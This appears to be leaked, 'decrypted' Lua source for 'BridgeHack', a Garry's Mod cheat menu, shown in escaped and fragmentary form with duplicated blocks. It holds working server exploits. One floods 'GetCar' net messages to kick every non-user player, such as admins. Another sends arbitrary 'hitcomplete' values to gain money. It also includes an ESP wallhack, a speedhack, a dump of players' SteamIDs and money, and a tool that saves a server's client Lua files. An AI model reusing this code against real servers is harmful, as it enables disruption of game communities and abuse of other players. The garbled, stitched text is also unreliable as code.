\"icon16/book_key.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [ON] MX RADIO KICK ADMINS\",function()\x0a\x0a\x09\x09chatP(\"Kicking admins, Including anyone who isnt a user\")\x0a\x0a\x09\x09ply:ConCommand(\"bh_mx_kickadmins\")\x0a\x0a\x09\x09timer.Create( \"Kickthenoobs\"..BridgeHack.RandomVar, 3, 0, function()\x0a\x0a\x09\x09\x09for k,v in ipairs(player.GetAll()) do \x0a\x0a\x09\x09\x09\x09if( v:GetUserGroup() != \"user\" ) then \x0a\x0a\x09\x09\x09\x09\x09if v:Nick() != (ply:Nick()) then\x0a\x0a\x09\x09\x09\x09\x09\x09for i=0, 700 do \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.Start( \"GetCar\" ) \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.WriteEntity(v) \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.SendToServer() \x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09chatP('Attempting to kick '.. v:Nick())\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09end \x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage( \"icon16/wand.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [OFF] MX RADIO KICK ADMINS\",function() \x0a\x0a\x09\x09chatP(\"Stopping the kicks\")\x0a\x0a\x09\x09timer.Destroy( \"Kickthenoobs\"..BridgeHack.RandomVar, 3, 0, function() end)\x0a\x0a\x09end):SetImage( \"icon16/wand.png\" )\x0a\x0a\x09\x0a\x0a\x09local Misc = menu:AddSubMenu(\" Misc \")\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"Hackable Server List\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_serverlist\")\x0a\x0a\x09end):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"Changelog\",function()\x0a\x0a\x09\x09ChangeLogMenu()\x0a\x0a\x09end):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"List Rank - Playername - Money\",function() \x0a\x0a\x09\x09chatP( \"Check Console\\n\" )\x0a\x0a\x09\x09consoleP(\"(NAME)-(STEAMID)-(CASH)\\n\\n\\n\")\x0a\x0a\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0\x0a\x0a\x09\x09\x09if v:IsAdmin() then\x0a\x0a\x09\x09\x09\x09consoleP(\"(ADMIN!) - (\" .. v:Nick() .. \") - (\" .. v:SteamID() .. \") - ($\" .. playermoney .. \")\")\x0a\x0a\x09\x09\x09else\x0a\x0a\x09\x09\x09\x09consoleP(\"(USER) - (\" .. v:Nick() .. \") - (\" .. v:SteamID() .. \") - ($\" .. playermoney .. \")\")\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/text_align_center.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"Check exploits\", function()\x0a\x0a\x09ply:ConCommand(\"bh_check\")\x0a\x0aend ):SetImage( \"icon16/book_addresses.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"ClientSide Lua Viewer\",function()\x0a\x0a\x09\x09chatP(\"Opening clientside lua viewer...\")\x0a\x0a\x09\x09ply:ConCommand(\"bh_lua\")\x0a\x0a\x09end):SetImage( \"icon16/application_osx_terminal.png\" )\x0a\x0a\x09\x0a\x0a\x09if ply:SteamID() == \"STEAM_0:1:45153092\" or ply:SteamID() == \"STEAM_0:1:61639885\" then \x0a\x0a\x09\x09local DebugMenu = menu:AddSubMenu(\" Debug Settings\")\x0a\x0a\x09\x09DebugMenu:AddOption(\" Reset Default Config.\", function()\x0a\x0a\x09\x09\x09Debug(\"Resetting Cheat Variables...\")\x0a\x0a\x09\x09\x09ResetCvar(\"bh_menu_effects\", 1)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_firstload_correct\", 0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_chat_status\",0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_cheats_enabled_on_start\", 0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_cheats_svlua_enabled_on_start\", 0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_showhud\", 1)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_notify\", 1)\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09DebugMenu:AddOption(\" Debug\",function()\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09\x09chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. \" | \".. v:Nick())\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09menu:AddSpacer()\x0a\x0a\x09\x09\x0a\x0a\x09menu:AddOption( \"Config Menu\", function() \x0a\x0a\x09\x09local DermaPanel = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09DermaPanel:SetPos( 100, 100 )\x0a\x0a\x09\x09DermaPanel:SetSize( 300, 400 )\x0a\x0a\x09\x09DermaPanel:SetTitle( \" \" )\x0a\x0a\x09\x09DermaPanel:SetVisible( true )\x0a\x0a\x09\x09DermaPanel:SetDraggable( true )\x0a\x0a\x09\x09DermaPanel:ShowCloseButton( false )\x0a\x0a\x09\x09function DermaPanel:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09draw.SimpleText( \"BridgeHack Configuration Menu\", \"PopupFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local Button = vgui.Create(\"DButton\", DermaPanel)\x0a\x0a\x09\x09Button:SetPos( 250, 2 )\x0a\x0a\x09\x09Button:SetSize( 45, 19 )\x0a\x0a\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09Button:SetTextColor( Color( 255, 255, 255) )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09draw.SimpleText( \"Close\", \"HeaderFont\", 2, -2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09DermaPanel:Close()\x0a\x0a\x09\x09end\x09\x09\x09\x0a\x0a\x0a\x0a\x09\x09DermaPanel:MakePopup()\x0a\x0a\x0a\x0a\x09\x09local ESPMixer = vgui.Create( \"DColorMixer\", DermaPanel )\x0a\x0a\x09\x09ESPMixer:SetPos( 10,170)\x0a\x0a\x09\x09ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame\x0a\x0a\x09\x09ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true\x0a\x0a\x09\x09ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true\x0a\x0a\x09\x09ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true\x0a\x0a\x09\x09ESPMixer:SetColor( Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\")) )--Set the default color\x0a\x0a\x09\x09daespvector = ESPMixer:GetColor()\x0a\x0a\x0a\x0a\x09\x09local ESPMixButton = vgui.Create( \"DButton\",DermaPanel )\x0a\x0a\x09\x09ESPMixButton:SetPos( 5, 265 )\x0a\x0a\x09\x09ESPMixButton:SetText( \"Set ESP Color\" )\x0a\x0a\x09\x09ESPMixButton:SetSize( 120, 15 )\x0a\x0a\x09\x09ESPMixButton.DoClick = function()\x0a\x0a\x09\x09\x09print(daespvector)\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_esp_infocolor_r \"..daespr)\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_esp_infocolor_g \"..daespg)\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_esp_infocolor_b \"..daespb)\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local EspBoxes = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09EspBoxes:SetPos( 10, 25 )/ Set the position\x0a\x0a\x09\x09EspBoxes:SetValue( GetConVarNumber(\"bh_esp_box\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09EspBoxes:SetText(\"ESP Boxes\")\x0a\x0a\x09\x09EspBoxes:SetConVar( \"bh_esp_box\" )\x0a\x0a\x09\x09EspBoxes:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local ShowHP = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09ShowHP:SetPos( 10, 45 )/ Set the position\x0a\x0a\x09\x09ShowHP:SetValue( GetConVarNumber(\"bh_esp_hp\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09ShowHP:SetText(\"Show HP On ESP\")\x0a\x0a\x09\x09ShowHP:SetConVar( \"bh_esp_hp\" )\x0a\x0a\x09\x09ShowHP:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local ShowRank = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09ShowRank:SetPos( 10, 65 )/ Set the position\x0a\x0a\x09\x09ShowRank:SetValue( GetConVarNumber(\"bh_esp_rank\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09ShowRank:SetText(\"Show Rank On ESP\")\x0a\x0a\x09\x09ShowRank:SetConVar( \"bh_esp_rank\" )\x0a\x0a\x09\x09ShowRank:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local Rdistance = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09Rdistance:SetPos( 10, 85 )/ Set the position\x0a\x0a\x09\x09Rdistance:SetValue( GetConVarNumber(\"bh_renderdistance_enable\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09Rdistance:SetText(\"Use a Maximum render distance\")\x0a\x0a\x09\x09Rdistance:SetConVar( \"bh_renderdistance_enable\" )\x0a\x0a\x09\x09Rdistance:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local Rdistance = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09Rdistance:SetPos( 10, 105 )/ Set the position\x0a\x0a\x09\x09Rdistance:SetValue( GetConVarNumber(\"bh_notify\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09Rdistance:SetText(\"Top Scrolling Message\")\x0a\x0a\x09\x09Rdistance:SetConVar( \"bh_notify\" )\x0a\x0a\x09\x09Rdistance:SizeToContents()\x0a\x0a\x09\x09\x0a\x0a\x09\x09local PlaySound = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09PlaySound:SetPos( 10, 125 )/ Set the position\x0a\x0a\x09\x09PlaySound:SetValue( GetConVarNumber(\"bh_playsound\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09PlaySound:SetText(\"Menu sounds\")\x0a\x0a\x09\x09PlaySound:SetConVar( \"bh_playsound\" )\x0a\x0a\x09\x09PlaySound:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local RenderDistance = vgui.Create( \"DNumSlider\", DermaPanel )\x0a\x0a\x09\x09RenderDistance:SetPos( 25, 145) / Set the position\x0a\x0a\x09\x09RenderDistance:SetSize( 280, 25 ) / Set the size\x0a\x0a\x09\x09RenderDistance:SetText( \"Max Render Distance\" ) / Set the text above the slider\x0a\x0a\x09\x09RenderDistance:SetMin( 0 ) / Set the minimum number you can slide to\x0a\x0a\x09\x09RenderDistance:SetMax( 5000 )/ Set the maximum number you can slide to\x0a\x0a\x09\x09RenderDistance:SetDecimals( 1 ) / Decimal places - zero for whole number\x0a\x0a\x09\x09RenderDistance:SetConVar( \"bh_esp_rdistance\" ) / Changes the ConVar when you slide\x0a\x0a\x09end ):SetImage( \"icon16/wrench.png\" )\x0a\x0a\x09\x0a\x0a\x09menu:Open()\x0a\x0a\x09end)\x0a\x0a\x09\x09\x09\x0a\x0a\x09concommand.Add(\"-bh_menu\", function( ply )\x0a\x0a\x09\x09status(\"Menu Closed.\")\x0a\x0a\x09\x09if GetConVarNumber(\"bh_menu_effects\") == 1 then\x0a\x0a\x09\x09\x09hook.Add( \"RenderScreenspaceEffects\", \"BlurBG\", blur_off )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09local menu = DermaMenu() \x0a\x0a\x09end)\x0a\x0a\x09\x0a\x0a\x09function ESP_on( ) \x0a\x0a\x09\x09ply:ConCommand(\"bh_esp 1\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09function ESP_off( )\x0a\x0a\x09\x09ply:ConCommand(\"bh_esp 0\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09\x09function speedhack_on( ) \x0a\x0a\x09\x09ply:ConCommand(\"host_framerate 8;host_framerate 8\")\x0a\x0a\x09\x09status(\"Enabled SpeedHack\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09function speedhack_off( )\x0a\x0a\x09\x09ply:ConCommand(\"host_framerate 0;host_framerate 0\")\x0a\x0a\x09\x09status(\"Disabled SpeedHack\")\x0a\x0a\x09end \x0a\x0a\x09\x0a\x0a\x09-- CL LUAVIEWER */ require(\"stringtables\") local escapejs = { [\"\\\\\"] = \"\\\\\\\\\", [\"\\0\"] = \"\\\\0\" , [\"\\b\"] = \"\\\\b\" , [\"\\t\"] = \"\\\\t\" , [\"\\n\"] = \"\\\\n\" , [\"\\v\"] = \"\\\\v\" , [\"\\f\"] = \"\\\\f\" , [\"\\r\"] = \"\\\\r\" , [\"\\\"\"] = \"\\\\\\\"\", [\"\\'\"] = \"\\\\\\'\" } function string.JavascriptSafe( str ) str = str:gsub( \".\", escapejs ) str = str:gsub( \"\\226\\128\\168\", \"\\\\\\226\\128\\168\" ) str = str:gsub( \"\\226\\128\\169\", \"\\\\\\226\\128\\169\" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open(\"cache/lua/\" .. crc .. \".lua\", \"rb\", \"MOD\") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match(\"%.txt$\") then path = path..\".txt\" end local curdir = \"\" for t in path:gmatch(\"[^/\\\\*]+\") do curdir = curdir..t if curdir:match(\"%.txt$\") then print(\"writing: \", curdir) file.Write(curdir, contents) else curdir = curdir..\"/\" print(\"Creating: \", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = \"\" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end\x0a\x0a\x0a\x0a/*\x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a ____ ___ __ __ \x0a\x0a/\\ _`\\ /\\_ \\ __ /\\ \\__ __ /\\ \\ \x0a\x0a\\ \\ \\/\\_\\/\\ \\ /\\_\\ __ ___\\ \\ ,_\\ ____/\\_\\ \\_\\ \\ __ \x0a\x0a \\ \\ \\/_/_\\ \\ \\ \\/\\ \\ /'__`\\/' _ `\\ \\ \\/ /',__\\/\\ \\ /'_` \\ /'__`\\ \x0a\x0a \\ \\ \\ \\ \\\\_\\ \\_\\ \\ \\/\\ __/\\ \\/\\ \\ \\ \\_/\\__, `\\ \\ \\/\\ \\ \\ \\/\\ __/ \x0a\x0a \\ \\____/\\____\\\\ \\_\\ \\____\\ \\_\\ \\_\\ \\__\\/\\____/\\ \\_\\ \\___,_\\ \\____\\ \x0a\x0a \\/___/ \\/____/ \\/_/\\/____/\\/_/\\/_/\\/__/\\/___/ \\/_/\\/__,_ /\\/____/ \x0a\x0a/\\ \\ __ \x0a\x0a\\ \\ \\ __ __ __ __ __ /\\_\\ __ __ __ __ __ _ __ \x0a\x0a \\ \\ \\ __/\\ \\/\\ \\ /'__`\\ /\\ \\/\\ \\\\/\\ \\ /'__`\\/\\ \\/\\ \\/\\ \\ /'__`\\/\\`'__\\\x0a\x0a \\ \\ \\L\\ \\ \\ \\_\\ \\/\\ \\L\\.\\_ \\ \\ \\_/ |\\ \\ \\/\\ __/\\ \\ \\_/ \\_/ \\/\\ __/\\ \\ \\/\x0a\x0a \\ \\____/\\ \\____/\\ \\__/.\\_\\ \\ \\___/ \\ \\_\\ \\____\\\\ \\___x___/'\\ \\____\\\\ \\_\\\x0a\x0a \\/___/ \\/___/ \\/__/\\/_/ \\/__/ \\/_/\\/____/ \\/__/__/ \\/____/ \\/_/\x0a\x0a \x0a\x0a[[----------------------------------------------------------------]]\x0a\x0a[[----------------------------------------------------------------]] */ require(\"stringtables\") local escapejs = { [\"\\\\\"] = \"\\\\\\\\\", [\"\\0\"] = \"\\\\0\" , [\"\\b\"] = \"\\\\b\" , [\"\\t\"] = \"\\\\t\" , [\"\\n\"] = \"\\\\n\" , [\"\\v\"] = \"\\\\v\" , [\"\\f\"] = \"\\\\f\" , [\"\\r\"] = \"\\\\r\" , [\"\\\"\"] = \"\\\\\\\"\", [\"\\'\"] = \"\\\\\\'\" } function string.JavascriptSafe( str ) str = str:gsub( \".\", escapejs ) str = str:gsub( \"\\226\\128\\168\", \"\\\\\\226\\128\\168\" ) str = str:gsub( \"\\226\\128\\169\", \"\\\\\\226\\128\\169\" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open(\"cache/lua/\" .. crc .. \".lua\", \"rb\", \"MOD\") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match(\"%.txt$\") then path = path..\".txt\" end local curdir = \"\" for t in path:gmatch(\"[^/\\\\*]+\") do curdir = curdir..t if curdir:match(\"%.txt$\") then print(\"writing: \", curdir) file.Write(curdir, contents) else curdir = curdir..\"/\" print(\"Creating: \", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = \"\" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end\x0a\x0a \x0a\x0alocal VIEWER = {}\x0a\x0a\x0a\x0afunction VIEWER:Init()\x0a\x0a self:SetTitle(\"Clientside Lua Viewer\")\x0a\x0a self:SetSize(1200, 550)\x0a\x0a self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)\x0a\x0a surface.SetDrawColor(Color(108,153,192))\x0a\x0a surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont(\"HeaderFont\")\x0a\x0a surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( \"DButton\", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText(\"\") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont(\"HeaderFont\") surface.SetTextPos(18,-2) surface.DrawText( \"x\" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create(\"DTree\", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create(\"DHTML\", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL(\"https:/metastruct.github.io/lua_editor/\") client_lua_files = stringtable.Get \"client_lua_files\" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, \".*/([^/]+%.lua)\") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, \"([^/]+)/\") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or \"\" for k, v in SortedPairs(data) do if type(v) == \"table\" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption(\"Save Folder\", function() dumbFolderCache = \"cluaview/\"..GetHostName()..dumbFolder(new_node) DrawFancyPopup(\"The folder \".. dumbFolder(new_node) ..\" has been saved as data/cluaview/\".. GetHostName() ..\"/folders/\".. dumbFolder(new_node) ..\"!\") end) dmenu:Open() end iterate(v, new_node, path .. k .. \"/\") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, \"icon16/page_green.png\") node.DoClick = function() self.html:QueueJavascript(\"SetContent('\"..string.JavascriptSafe(GetLuaFileContents(v.CRC))..\"')\") end local hostname = GetHostName() hostname = hostname:gsub(\"|\", \"-\") hostname = hostname:gsub(\"~\", \"-\") hostname = hostname:gsub(\" \", \"\") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption(\"Save File\", function() dumbFile(\"cluaview/\".. string.lower(hostname) ..\"/\"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup(\"The file \".. v.fileN ..\" has been saved as data/cluaview/\".. string.lower(hostname) ..\"/\".. v.fileN ..\"!\") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path\x0a\x0a end\x0a\x0a end\x0a\x0aderma.DefineControl(\"dcluaviewer\", \"Clientside Lua Viewer\", VIEWER, \"DFrame\")\x0a\x0a \x0a\x0a/*\x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a ____ \x0a\x0a/\\ _`\\ \x0a\x0a\\ \\ \\L\\_\\ __ ___ ___ __ __ \x0a\x0a \\ \\ _\\/'__`\\ /' _ `\\ /'___\\/\\ \\/\\ \\ \x0a\x0a \\ \\ \\/\\ \\L\\.\\_/\\ \\/\\ \\/\\ \\__/\\ \\ \\_\\ \\ \x0a\x0a \\ \\_\\ \\__/.\\_\\ \\_\\ \\_\\ \\____\\\\/`____ \\\x0a\x0a \\/_/\\/__/\\/_/\\/_/\\/_/\\/____/ `/___/> \\\x0a\x0a /\\___/\x0a\x0a \\/__/\x0a\x0a ____ \x0a\x0a/\\ _`\\ \x0a\x0a\\ \\ \\L\\ \\___ _____ __ __ _____ \x0a\x0a \\ \\ ,__/ __`\\/\\ '__`\\/\\ \\/\\ \\/\\ '__`\\ \x0a\x0a \\ \\ \\/\\ \\L\\ \\ \\ \\L\\ \\ \\ \\_\\ \\ \\ \\L\\ \\ \x0a\x0a \\ \\_\\ \\____/\\ \\ ,__/\\ \\____/\\ \\ ,__/ \x0a\x0a \\/_/\\/___/ \\ \\ \\/ \\/___/ \\ \\ \\/ \x0a\x0a \\ \\_\\ \\ \\_\\ \x0a\x0a \\/_/ \\/_/ \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a*/ \x0a\x0a \x0a\x0afunction DrawFancyPopup(message)\x0a\x0a fancyPopup = vgui.Create(\"DFrame\")\x0a\x0a fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle(\"\") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont(\"PopupFont\") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create(\"DButton\", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText(\"\") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont(\"PopupFont\") surface.SetTextPos(30.5,5.5) surface.DrawText( \"Alright!\" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end\x0a\x0aend\x0a\x0a \x0a\x0aconcommand.Add(\"testpopup\", function() DrawFancyPopup(\"This is just a test button and nothing else you nutmpies. Pressing Alright does no shit at all!\") end) concommand.Add(\"bh_lua\", function() vgui.Create(\"dcluaviewer\"):MakePopup() end): c3948bf9, 43475c20, lines 0-3762
5 Cannot verify http.Fetch call stack entry: Foreign lua source: / Leaked by velkon\x0a/ decrypted by General Hex\x0a\x0alocal dversion=1.3\x0a\x0alocal dlversion =\"v1.3\"\x0a\x0alocal outdated = 0\x0a\x0alocal devbuild = 0\x0a\x0alocal pastecheck = 0 / 0 = Bueno 1 = No Bueno\x0a\x0alocal crash = 0\x0a\x0alocal ulx_spam=0\x0a\x0alocal ply = LocalPlayer()\x0a\x0a\x0a\x0a/ INSTALIZATION \x0a\x0a/ FUNCTIONS\x0a\x0a\x0a\x0asurface.CreateFont( \"PopupHFont\", {\x0a\x0a\x09font = \"Segoe UI Light\",\x0a\x0a\x09size = 50,\x0a\x0a\x09weight = 1000,\x0a\x0a} )\x0a\x0a \x0a\x0asurface.CreateFont(\"HeaderFont\", {\x0a\x0a\x09font = \"Segoe UI Semilight\",\x0a\x0a\x09size = 22,\x0a\x0a\x09weight = 300\x0a\x0a})\x0a\x0a\x0a\x0asurface.CreateFont(\"PopupFont\", {\x0a\x0a\x09font = \"Segoe UI Light\",\x0a\x0a\x09size = 21,\x0a\x0a\x09weight = 300\x0a\x0a})\x0a\x0a\x0a\x0asurface.CreateFont(\"HeadingFont\",{\x0a\x0a\x09font = \"ChatFont\",\x0a\x0a\x09size = 20,\x0a\x0a\x09weight = 500,\x0a\x0a\x09antialias = true,\x0a\x0a})\x0a\x0a\x0a\x0afunction SoundClick()\x0a\x0a\x09if GetConVarNumber(\"bh_playsound\") > 0 then\x0a\x0a\x09\x09surface.PlaySound(\"buttons/lightswitch2.wav\")\x0a\x0a\x09else\x0a\x0aend end\x0a\x0a\x0a\x0afunction consoleP(message)\x0a\x0a\x09queries = queries + 1\x0a\x0a\x09MsgC(Color(231, 76, 60), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,255,255), message, \"\\n\")\x0a\x0aend\x0a\x0a\x0a\x0afunction SoundPop()\x0a\x0a\x09--buttons/blip1.wav\x0a\x0a\x09--buttons/button14.wav\x0a\x0a\x09--buttons/lightswitch2.wav\x0a\x0a\x09if GetConVarNumber(\"bh_playsound\") > 0 then\x0a\x0a\x09\x09surface.PlaySound(\"buttons/button14.wav\")\x0a\x0a\x09else\x0a\x0aend end\x0a\x0a\x0a\x0alocal infinite = 1000000000000000000000000000000000000000000000000000000000000000000\x0a\x0a\x0a\x0afunction HitBitches()\x0a\x0a\x09net.Start(\"hitcomplete\")\x0a\x0a\x09\x09net.WriteDouble( GetConVarNumber(\"bh_hitmenuammount\") )\x0a\x0a\x09net.SendToServer()\x0a\x0aend\x0a\x0aconcommand.Add(\"bh_hithack\", HitBitches)\x0a\x0a\x0a\x0afunction clearcon()\x0a\x0a\x09for i=0, 100 do\x0a\x0a\x09print(\" \")\x0a\x0aend end\x0a\x0a\x0a\x0afunction cleardchat()\x0a\x0a for i=0, 100 do\x0a\x0a chat.AddText(\" \")\x0a\x0a end end\x0a\x0a \x0a\x0a--[[\x0a\x0a\x09Woo, Coloured chat messages!\x0a\x0a]]--\x0a\x0afunction chatP(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(120, 255, 0), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,255,0), 